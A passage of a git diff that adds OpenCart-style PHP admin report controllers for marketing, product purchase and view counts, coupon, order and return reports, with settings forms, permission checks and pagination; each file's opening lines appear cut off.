+ if (isset($this->request->post['report_marketing_sort_order'])) {
+ $data['report_marketing_sort_order'] = $this->request->post['report_marketing_sort_order'];
+ } else {
+ $data['report_marketing_sort_order'] = $this->config->get('report_marketing_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/marketing_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/marketing');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/marketing');
+
+ $data['marketings'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $marketing_total = $this->model_extension_report_marketing->getTotalMarketing($filter_data);
+
+ $results = $this->model_extension_report_marketing->getMarketing($filter_data);
+
+ foreach ($results as $result) {
+ $data['marketings'][] = array(
+ 'campaign' => $result['campaign'],
+ 'code' => $result['code'],
+ 'clicks' => $result['clicks'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'action' => $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $result['marketing_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $marketing_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=marketing' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($marketing_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($marketing_total - $this->config->get('config_limit_admin'))) ? $marketing_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $marketing_total, ceil($marketing_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/marketing_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/product_purchased.php b/public/admin/controller/extension/report/product_purchased.php
new file mode 100644
index 0000000..dd1dca0
--- /dev/null
+++ b/public/admin/controller/extension/report/product_purchased.php
@@ -0,0 +1,160 @@
+load->language('extension/report/product_purchased');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_product_purchased', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/product_purchased', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/product_purchased', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_product_purchased_status'])) {
+ $data['report_product_purchased_status'] = $this->request->post['report_product_purchased_status'];
+ } else {
+ $data['report_product_purchased_status'] = $this->config->get('report_product_purchased_status');
+ }
+
+ if (isset($this->request->post['report_product_purchased_sort_order'])) {
+ $data['report_product_purchased_sort_order'] = $this->request->post['report_product_purchased_sort_order'];
+ } else {
+ $data['report_product_purchased_sort_order'] = $this->config->get('report_product_purchased_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/product_purchased_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/product_purchased')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/product_purchased');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/product');
+
+ $data['products'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $product_total = $this->model_extension_report_product->getTotalPurchased($filter_data);
+
+ $results = $this->model_extension_report_product->getPurchased($filter_data);
+
+ foreach ($results as $result) {
+ $data['products'][] = array(
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'quantity' => $result['quantity'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_purchased' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/product_purchased_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/product_viewed.php b/public/admin/controller/extension/report/product_viewed.php
new file mode 100644
index 0000000..337386f
--- /dev/null
+++ b/public/admin/controller/extension/report/product_viewed.php
@@ -0,0 +1,149 @@
+load->language('extension/report/product_viewed');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_product_viewed', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/product_viewed', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/product_viewed', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_product_viewed_status'])) {
+ $data['report_product_viewed_status'] = $this->request->post['report_product_viewed_status'];
+ } else {
+ $data['report_product_viewed_status'] = $this->config->get('report_product_viewed_status');
+ }
+
+ if (isset($this->request->post['report_product_viewed_sort_order'])) {
+ $data['report_product_viewed_sort_order'] = $this->request->post['report_product_viewed_sort_order'];
+ } else {
+ $data['report_product_viewed_sort_order'] = $this->config->get('report_product_viewed_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/product_viewed_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/product_viewed')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/product_viewed');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['reset'] = $this->url->link('extension/report/product_viewed/reset', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('extension/report/product');
+
+ $filter_data = array(
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $data['products'] = array();
+
+ $product_viewed_total = $this->model_extension_report_product->getTotalProductViews();
+
+ $product_total = $this->model_extension_report_product->getTotalProductsViewed();
+
+ $results = $this->model_extension_report_product->getProductsViewed($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['viewed']) {
+ $percent = round($result['viewed'] / $product_viewed_total * 100, 2);
+ } else {
+ $percent = 0;
+ }
+
+ $data['products'][] = array(
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'viewed' => $result['viewed'],
+ 'percent' => $percent . '%'
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_viewed&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ return $this->load->view('extension/report/product_viewed_info', $data);
+ }
+
+ public function reset() {
+ $this->load->language('extension/report/product_viewed');
+
+ if (!$this->user->hasPermission('modify', 'extension/report/product_viewed')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/report/product');
+
+ $this->model_extension_report_product->reset();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->redirect($this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_viewed', true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_coupon.php b/public/admin/controller/extension/report/sale_coupon.php
new file mode 100644
index 0000000..694877c
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_coupon.php
@@ -0,0 +1,145 @@
+load->language('extension/report/sale_coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_coupon', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_coupon', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_coupon', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_coupon_status'])) {
+ $data['report_sale_coupon_status'] = $this->request->post['report_sale_coupon_status'];
+ } else {
+ $data['report_sale_coupon_status'] = $this->config->get('report_sale_coupon_status');
+ }
+
+ if (isset($this->request->post['report_sale_coupon_sort_order'])) {
+ $data['report_sale_coupon_sort_order'] = $this->request->post['report_sale_coupon_sort_order'];
+ } else {
+ $data['report_sale_coupon_sort_order'] = $this->config->get('report_sale_coupon_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_coupon_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_coupon');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/coupon');
+
+ $data['coupons'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $coupon_total = $this->model_extension_report_coupon->getTotalCoupons($filter_data);
+
+ $results = $this->model_extension_report_coupon->getCoupons($filter_data);
+
+ foreach ($results as $result) {
+ $data['coupons'][] = array(
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $result['coupon_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $coupon_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_coupon' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($coupon_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($coupon_total - $this->config->get('config_limit_admin'))) ? $coupon_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $coupon_total, ceil($coupon_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+
+ return $this->load->view('extension/report/sale_coupon_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_order.php b/public/admin/controller/extension/report/sale_order.php
new file mode 100644
index 0000000..7ec99a7
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_order.php
@@ -0,0 +1,196 @@
+load->language('extension/report/sale_order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_order_status'])) {
+ $data['report_sale_order_status'] = $this->request->post['report_sale_order_status'];
+ } else {
+ $data['report_sale_order_status'] = $this->config->get('report_sale_order_status');
+ }
+
+ if (isset($this->request->post['report_sale_order_sort_order'])) {
+ $data['report_sale_order_sort_order'] = $this->request->post['report_sale_order_sort_order'];
+ } else {
+ $data['report_sale_order_sort_order'] = $this->config->get('report_sale_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_order');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = date('Y-m-d', strtotime(date('Y') . '-' . date('m') . '-01'));
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = date('Y-m-d');
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalOrders($filter_data);
+
+ $results = $this->model_extension_report_sale->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'orders' => $result['orders'],
+ 'products' => $result['products'],
+ 'tax' => $this->currency->format($result['tax'], $this->config->get('config_currency')),
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_order' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_order_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_return.php b/public/admin/controller/extension/report/sale_return.php
new file mode 100644
index 0000000..3249078
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_return.php
@@ -0,0 +1,193 @@
+load->language('extension/report/sale_return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_return', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_return', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_return', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_return_status'])) {
+ $data['report_sale_return_status'] = $this->request->post['report_sale_return_status'];
+ } else {
+ $data['report_sale_return_status'] = $this->config->get('report_sale_return_status');
+ }
+
+ if (isset($this->request->post['report_sale_return_sort_order'])) {
+ $data['report_sale_return_sort_order'] = $this->request->post['report_sale_return_sort_order'];
+ } else {
+ $data['report_sale_return_sort_order'] = $this->config->get('report_sale_return_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_return_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_return');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $filter_return_status_id = $this->request->get['filter_return_status_id'];
+ } else {
+ $filter_return_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/return');
+
+ $data['returns'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_return_status_id' => $filter_return_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_total = $this->model_extension_report_return->getTotalReturns($filter_data);
+
+ $results = $this->model_extension_report_return->getReturns($filter_data);
+
+ foreach ($results as $result) {
+ $data['returns'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'returns' => $result['returns']
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
